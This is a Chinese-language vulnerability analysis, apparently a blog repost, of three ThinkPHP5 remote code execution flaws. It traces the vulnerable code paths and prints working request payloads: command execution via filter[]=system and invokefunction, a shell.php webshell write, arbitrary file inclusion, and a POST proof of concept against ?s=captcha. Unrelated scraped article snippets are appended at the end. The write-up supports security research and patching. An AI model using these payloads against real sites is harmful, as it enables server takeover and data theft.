缓存类RCE

  • 版本

5.0.0<=ThinkPHP5<=5.0.10

  • Tp框架搭建
  • 环境搭建
  • 测试payload
?username=syst1m%0d%0a@eval($_GET[_]);//

可以看到已经写入了缓存

漏洞分析

  • thinkphp/library/think/Cache.php:126

先跟踪一下Cache类的set方法

  • thinkphp/library/think/Cache.php:63

跟踪一下init方法,这里的self::$handler默认值是File,为thinkcachedriverFile 类实例

  • thinkphp/library/think/Cache.php:36

跟进connect方法

先打印一下options内容

array (size=4)'type' => string 'File' (length=4)'path' => string '/Applications/MAMP/htdocs/runtime/cache/' (length=40)'prefix' => string '' (length=0)'expire' => int 0

type为file,先赋值一个$name,class为thinkcachedriverFile

  • thinkphp/library/think/cache/driver/File.php:137

跟踪一下File类的set方法

  • thinkphp/library/think/cache/driver/File.php:67

跟进文件名生成方法,程序先获得键名的 md5 值,然后将该 md5 值的前 2 个字符作为缓存子目录,后 30 字符作为缓存文件名。

$data变量为序列化的值,没有进行过滤直接将内容写进了缓存,前面有//注释符,可以通过注入换行符绕过该限制。

未开启强制路由导致rce

  • 影响版本

5.0.7<=ThinkPHP<=5.0.22

  • payload

5.1.x :

?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content=<?php phpinfo();?>
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x :

?s=index/thinkconfig/get&name=database.username # 获取配置信息
?s=index/thinkLang/load&file=../../test.jpg    # 包含任意文件
?s=index/thinkConfig/load&file=../../t.php     # 包含任意.php文件
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

  • 环境搭建
  • 测试payload
index.php?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

漏洞分析

默认情况下安装的 ThinkPHP 是没有开启强制路由选项,而且默认开启路由兼容模式

?s=模块/控制器/方法 所有用户参数都会经过 Request 类的 input 方法处理,该方法会调用 filterValue 方法,而 filterValue 方法中使用了 call_user_func,尝试利用这个方法。访问如下链接

*?s=index/thinkRequest/input&filter[]=system&data=whoami

  • thinkphp/library/think/route/dispatch/Module.php:70

于获取控制器点打断点

程序会跳到thinkphp/library/think/App.php的run方法,在路由检测地打个断点,重新请求

  • thinkphp/library/think/App.php:583

于routeCheck方法对路由进行了检测,

thinkphp/library/think/route/dispatch/Url.php:23

出来的dispatch为index|thinkRequest|input,将替换成了|,然后进入init方法

  • thinkphp/library/think/App.php:402

经过路由检测之后的dispatch为:

  • thinkphp/library/think/App.php:431
  • thinkphp/library/think/route/Dispatch.php:168

跟进Dispatch类的run方法

  • thinkphp/library/think/route/dispatch/Module.php:84

执行exec函数,跟进函数

利用反射机制,调用类的方法

  • thinkphp/library/think/Container.php:391
  • thinkphp/library/think/Request.php:1358

进入input(),$this->filterValue()处理

  • thinkphp/library/think/Request.php:1437

跟进后执行call_user_func(),实现rce

method任意调用方法导致rce

  • 版本

5.0.0<=ThinkPHP5<=5.0.23

  • 环境搭建
  • 测试payload

漏洞分析

  • thinkphp/library/think/Request.php:524

$method 来自可控的 $_POST 数组,而且在获取之后没有进行任何检查,直接把它作为 Request 类的方法进行调用,同时,该方法传入的参数是可控数据 $_POST,可以随意调用 Request 类的部分方法。

  • 搜索var_method,值为_method
  • thinkphp/library/think/Request.php:135

查看request类的__construct方法,可以覆盖类属性,那么我们可以通过覆盖Request类的属性.

  • thinkphp/library/think/App.php:126

如果开启了debug,则调用$request->param()方法,

  • thinkphp/library/think/Request.php:637

跟进param方法,发现调用了$this->method

  • thinkphp/library/think/Request.php:862

跟踪到server方法,把$this->server 传入了 input 方法,这个this->server 的值,我们可以通过先前 Request 类的 construct 方法来覆盖赋值,filter 的值部分来自 this->filter ,又是可以通过先前 Request 类的 construct 方法来覆盖赋值

  • thinkphp/library/think/Request.php:1034

进入input方法的filterValue,进入call_user_func回调,造成RCE漏洞的产生

如果没有开启debug

  • thinkphp/library/think/App.php:445

在exec方法中,当$dispatch['type']等于method或者controller时候,也会调用param()方法

  • thinkphp/library/think/Route.php:918

dispatch['type'] 来源于 parseRule 方法中的 result 变量,$route 变量取决于程序中定义的路由地址方式

只要是存在的路由就可以使dispatch['type']成立,而在 ThinkPHP5 完整版中,定义了验证码类的路由地址?s=captcha,默认这个方法就能使$dispatch=method从而进入Request::instance()->param(),使条件成立。

  • poc
POST /index.php?s=captcha HTTP/1.1_method=__construct&filter[]=system&method=get&get[]=ls+-al

原文地址:

Thinkphp5 RCE​syst1m.com

thinkphp5 两个控制器传参数_Thinkphp5代码执行学习相关推荐

  1. thinkphp5 两个控制器传参数_ThinkPHP5 控制器(二:Request类) | 剑花烟雨江南

    我们先来看下 tp5 控制器来的 构造方法: /** * 构造方法 * @param Request $request Request对象 * @access public */ public fun ...

  2. thinkphp5 两个控制器传参数_thinkphp5控制器向+vue的data里传值

    传一维数组传值 $array=['id'=>40,"cat_name"=>"明星产品"]; $MenuCats_info=json_encode($ ...

  3. Zimbra邮件服务器利用XXE漏洞与SSRF完成对目标的文件上传与远程代码执行

    前言 原文地址:https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html 参考文档:https://blog.cs ...

  4. 漏洞分析: WSO2 API Manager 任意文件上传、远程代码执行漏洞

    漏洞描述 某些WSO2产品允许不受限制地上传文件,从而执行远程代码.以WSO2 API Manager 为例,它是一个完全开源的 API 管理平台.它支持API设计,API发布,生命周期管理,应用程序 ...

  5. 思科集成管理控制器IMC爆出任意代码执行漏洞CVE-2017-6616 绿盟科技发布安全威胁通告...

    当地时间2017年4月19日(北京时间2017年4月20日),思科(Cisco)官方发布一条安全公告,公告显示思科集成管理控制器(Integrated Management Controller)IM ...

  6. sh执行文件 参数传递_sh 脚本执行sql文件传参数

    一.前言 今天做数据删除,用的命令行输入参数,并且调用执行的sql文件,我采用了sed命令,进行替换. sh脚本如下 #! /bin/sh echo "Please enter the ba ...

  7. Android开发之APP唤醒小程序,打开小程序,调起小程序以及传参数的实现方法(附加源码)

    老套路咱们先看效果图: 可以先看下官方文档介绍:微信官方文档APP打开小程序链接 我这边打开了,上面奔溃是因为模拟器不兼容的原因: 主要讲解下打开小程序核心代码: // 填应用AppIdString ...

  8. 使用ODBC向SQLServer存储过程传参数的方法

    存储过程如下: CREATEPROCEDURETestSP @IDint AS RETURN@@ERROR GO 网上的例子都是用Sql的对象来传参数的,于是使用相同的格式写了代码,结果不能传参数,代 ...

  9. 浅谈PHP代码执行中出现过滤限制的绕过执行方法

    本篇文章总结于本人在CTF比赛中碰到的各种代码执行绕过方法 文章目录 代码执行函数 可回调函数 字符串拼接绕过 字符串转义绕过 多次传参绕过 内置函数访问绕过 异或绕过 URL编码取反绕过 代码执行函 ...

  10. PHP-代码审计-代码执行

    文章目录 概述 函数 挖洞经验 eval和assert函数 preg_replace函数 call_user_func()和array()_map()函数 动态函数执行 概述 类似于SQL注入,可以吧 ...

最新文章

  1. [转载]Surging 分布式微服务框架使用入门
  2. 通过MySQL存储原理来分析排序和锁
  3. 《朝花夕拾》金句摘抄(二)
  4. spring boot 整合Dubbo/Zookeeper
  5. DevExpress 程序启动设置
  6. Android Tween动画之RotateAnimation实现图片不停旋转
  7. 单片机的C语言应用程序设计实训教程,单片机的c语言程序设计实训
  8. 软件安装出现【安装程序集组件时出错】时处理方案
  9. 【学习笔记】Unreal(虚幻)4引擎入门(一)
  10. java识别手写文字_Java 实现OCR 识别图像文字(手写中文)----tess4j
  11. 20幻读是什么,幻读有什么问题
  12. js让html转excel时间格式,js读取excel中日期格式转换问题
  13. 计算机辅助药物设计 开发新药,前沿新知 | 计算机辅助药物设计应用现状
  14. vbnet 直线 弧形在autoCad中的画法
  15. 文件上传数据库,并下载(包含删除,根据条线查询等功能)
  16. centos6 安装redis
  17. 架构-Android Studio利用 sourceSet独立出UI资源
  18. OFGP 协议跨链解决方案
  19. Postgres 数据存储位置
  20. wifi6 增加穿墙能力详解

热门文章

  1. [转]cocos2d-x场景切换时内存过高导致crash解决方法
  2. 关于《Delphi源代码分析》的讨论
  3. 190518每日一句
  4. Atitit 诗歌之道 attilax著 艾龙 著 1. 诗歌集分类 1 1.1. 国王颂歌 1 1.2. 爱情类(相逢 赞美 相识 思念 离去 分分离离 忘记) 1 1.3. 其他 1 2. 世界
  5. Atitit 算法之道 attilax著 1. 第二部分(Part II) 排序与顺序统计(Sorting and Order Statistics) 1 2. 第六章 堆排序(Heapsort)
  6. atitit 常见个人与企业与组织机构的信息化.docx
  7. Atitit.加密算法 des  aes 各个语言不同的原理与解决方案java php c#
  8. paip.python错误解决18
  9. Apache ProxyPass出现503 Service Temporarily Unavailable 的解决
  10. 眼镜蛇效应:事与愿违的经济学教训